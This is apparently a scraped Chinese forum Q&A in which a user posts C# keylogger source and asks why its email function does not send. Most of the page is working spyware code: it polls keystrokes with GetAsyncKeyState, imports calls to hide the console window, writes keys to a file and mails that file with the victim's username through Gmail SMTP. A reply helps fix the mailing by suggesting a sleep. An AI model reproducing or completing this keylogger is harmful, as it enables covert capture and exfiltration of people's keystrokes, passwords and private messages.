c#键盘记录器的邮件功能
本文关键字：功能 键盘 记录器 | 更新日期: 2023-09-27 17:50:47
我在c#中使用控制台应用程序制作了一个键盘记录器。(这不是我自己做的，只是很大一部分)。所以在我的键盘记录器的问题是，我试图添加一个邮件功能到它，但当我垃圾邮件随机密钥，他们将被写入一个特定的文本文件，但它不会被邮寄，这有点烦人…
我想知道是否有人能帮我。
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(int i);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "''lel.txt");
static void Main(string[] args)
{
Keylogger();
}
static void mail()
{
while (true)
{
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
MailMessage mail = new MailMessage();
mail.To.Add("mymail@gmail.com");
mail.From = new MailAddress("mymail@gmail.com", "gauthier", System.Text.Encoding.UTF8);
mail.Subject = "Keylog from " + userName;
mail.SubjectEncoding = System.Text.Encoding.UTF8;
mail.Body = "Keylogged!";
mail.BodyEncoding = System.Text.Encoding.UTF8;
mail.IsBodyHtml = false;
mail.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(path);
mail.Attachments.Add(data);
client.Send(mail);
}
}
static void Keylogger()
{
StreamWriter sw = new StreamWriter(path);
while (true)
{
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int KeySt = GetAsyncKeyState(i);
if (KeySt == 1 || KeySt == -32767)
{
if (((Keys)i) == Keys.A)
{
sw.Write("a");
}
else if (((Keys)i) == Keys.B)
{
sw.Write("b");
}
else if (((Keys)i) == Keys.C)
{
sw.Write("c");
}
else if (((Keys)i) == Keys.D)
{
sw.Write("d");
}
else if (((Keys)i) == Keys.E)
{
sw.Write("e");
}
else if (((Keys)i) == Keys.F)
{
sw.Write("f");
}
else if (((Keys)i) == Keys.G)
{
sw.Write("g");
}
else if (((Keys)i) == Keys.H)
{
sw.Write("h");
}
else if (((Keys)i) == Keys.I)
{
sw.Write("i");
}
else if (((Keys)i) == Keys.J)
{
sw.Write("j");
}
else if (((Keys)i) == Keys.K)
{
sw.Write("k");
}
else if (((Keys)i) == Keys.L)
{
sw.Write("l");
}
else if (((Keys)i) == Keys.M)
{
sw.Write("m");
}
else if (((Keys)i) == Keys.N)
{
sw.Write("n");
}
else if (((Keys)i) == Keys.O)
{
sw.Write("o");
}
else if (((Keys)i) == Keys.P)
{
sw.Write("p");
}
else if (((Keys)i) == Keys.Q)
{
sw.Write("q");
}
else if (((Keys)i) == Keys.R)
{
sw.Write("r");
}
else if (((Keys)i) == Keys.S)
{
sw.Write("s");
}
else if (((Keys)i) == Keys.T)
{
sw.Write("t");
}
else if (((Keys)i) == Keys.U)
{
sw.Write("u");
}
else if (((Keys)i) == Keys.V)
{
sw.Write("v");
}
else if (((Keys)i) == Keys.W)
{
sw.Write("w");
}
else if (((Keys)i) == Keys.X)
{
sw.Write("x");
}
else if (((Keys)i) == Keys.Y)
{
sw.Write("y");
}
else if (((Keys)i) == Keys.Z)
{
sw.Write("z");
}
else if (((Keys)i) == Keys.Enter)
{
sw.Write(Environment.NewLine);
}
else if (((Keys)i) == Keys.Space)
{
sw.Write(" ");
}
else if (((Keys)i) == Keys.NumPad0)
{
sw.Write("0");
}
else if (((Keys)i) == Keys.NumPad1)
{
sw.Write("1");
}
else if (((Keys)i) == Keys.NumPad2)
{
sw.Write("2");
}
else if (((Keys)i) == Keys.NumPad3)
{
sw.Write("3");
}
else if (((Keys)i) == Keys.NumPad4)
{
sw.Write("4");
}
else if (((Keys)i) == Keys.NumPad5)
{
sw.Write("5");
}
else if (((Keys)i) == Keys.NumPad6)
{
sw.Write("6");
}
else if (((Keys)i) == Keys.NumPad7)
{
sw.Write("7");
}
else if (((Keys)i) == Keys.NumPad8)
{
sw.Write("8");
}
else if (((Keys)i) == Keys.NumPad9)
{
sw.Write("9");
}
else if (((Keys)i) == Keys.CapsLock)
{
sw.Write("[CL]");
}
sw.Flush();
}
}
}
}
}
不要在代码的任何地方调用mail()方法。这是一件好事，因为它最终会陷入一个无限循环，你可能会因为发送太多邮件而被Gmail屏蔽。我会在这里写一个很长的Thread.Sleep()
我的控制台没有什么特别的东西。这是我的源代码:
class Program
{
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(int i);
static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "''lel.txt");
static void Main(string[] args)
{
Keylogger();
mail();
}
static void mail()
{
Thread.Sleep(60000);
string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
MailMessage mail = new MailMessage();
mail.To.Add("gauthier.cremers1@gmail.com");
mail.From = new MailAddress("gauthier.cremers1@gmail.com", "gauthier", System.Text.Encoding.UTF8);
mail.Subject = "Keylog from " + userName;
mail.SubjectEncoding = System.Text.Encoding.UTF8;
mail.Body = "Keylogged!";
mail.BodyEncoding = System.Text.Encoding.UTF8;
mail.IsBodyHtml = false;
mail.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new System.Net.NetworkCredential("gauthier.cremers1@gmail.com", "password");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
Attachment data = new Attachment(path);
mail.Attachments.Add(data);
client.Send(mail);
}
static void Keylogger()
{
StreamWriter sw = new StreamWriter(path);
while (true)
{
Thread.Sleep(50);
for (Int32 i = 0; i < 255; i++)
{
int KeySt = GetAsyncKeyState(i);
if (KeySt == 1 || KeySt == -32767)
{
if (((Keys)i) == Keys.A)
{
sw.Write("a");
}
else if (((Keys)i) == Keys.B)
{
sw.Write("b");
}
else if (((Keys)i) == Keys.C)
{
sw.Write("c");
}
else if (((Keys)i) == Keys.D)
{
sw.Write("d");
}
else if (((Keys)i) == Keys.E)
{
sw.Write("e");
}
else if (((Keys)i) == Keys.F)
{
sw.Write("f");
}
else if (((Keys)i) == Keys.G)
{
sw.Write("g");
}
else if (((Keys)i) == Keys.H)
{
sw.Write("h");
}
else if (((Keys)i) == Keys.I)
{
sw.Write("i");
}
else if (((Keys)i) == Keys.J)
{
sw.Write("j");
}
else if (((Keys)i) == Keys.K)
{
sw.Write("k");
}
else if (((Keys)i) == Keys.L)
{
sw.Write("l");
}
else if (((Keys)i) == Keys.M)
{
sw.Write("m");
}
else if (((Keys)i) == Keys.N)
{
sw.Write("n");
}
else if (((Keys)i) == Keys.O)
{
sw.Write("o");
}
else if (((Keys)i) == Keys.P)
{
sw.Write("p");
}
else if (((Keys)i) == Keys.Q)
{
sw.Write("q");
}
else if (((Keys)i) == Keys.R)
{
sw.Write("r");
}
else if (((Keys)i) == Keys.S)
{
sw.Write("s");
}
else if (((Keys)i) == Keys.T)
{
sw.Write("t");
}
else if (((Keys)i) == Keys.U)
{
sw.Write("u");
}
else if (((Keys)i) == Keys.V)
{
sw.Write("v");
}
else if (((Keys)i) == Keys.W)
{
sw.Write("w");
}
else if (((Keys)i) == Keys.X)
{
sw.Write("x");
}
else if (((Keys)i) == Keys.Y)
{
sw.Write("y");
}
else if (((Keys)i) == Keys.Z)
{
sw.Write("z");
}
else if (((Keys)i) == Keys.Enter)
{
sw.Write(Environment.NewLine);
}
else if (((Keys)i) == Keys.Space)
{
sw.Write(" ");
}
else if (((Keys)i) == Keys.NumPad0)
{
sw.Write("0");
}
else if (((Keys)i) == Keys.NumPad1)
{
sw.Write("1");
}
else if (((Keys)i) == Keys.NumPad2)
{
sw.Write("2");
}
else if (((Keys)i) == Keys.NumPad3)
{
sw.Write("3");
}
else if (((Keys)i) == Keys.NumPad4)
{
sw.Write("4");
}
else if (((Keys)i) == Keys.NumPad5)
{
sw.Write("5");
}
else if (((Keys)i) == Keys.NumPad6)
{
sw.Write("6");
}
else if (((Keys)i) == Keys.NumPad7)
{
sw.Write("7");
}
else if (((Keys)i) == Keys.NumPad8)
{
sw.Write("8");
}
else if (((Keys)i) == Keys.NumPad9)
{
sw.Write("9");
}
else if (((Keys)i) == Keys.CapsLock)
{
sw.Write("[CL]");
}
sw.Flush();
}
}
}
}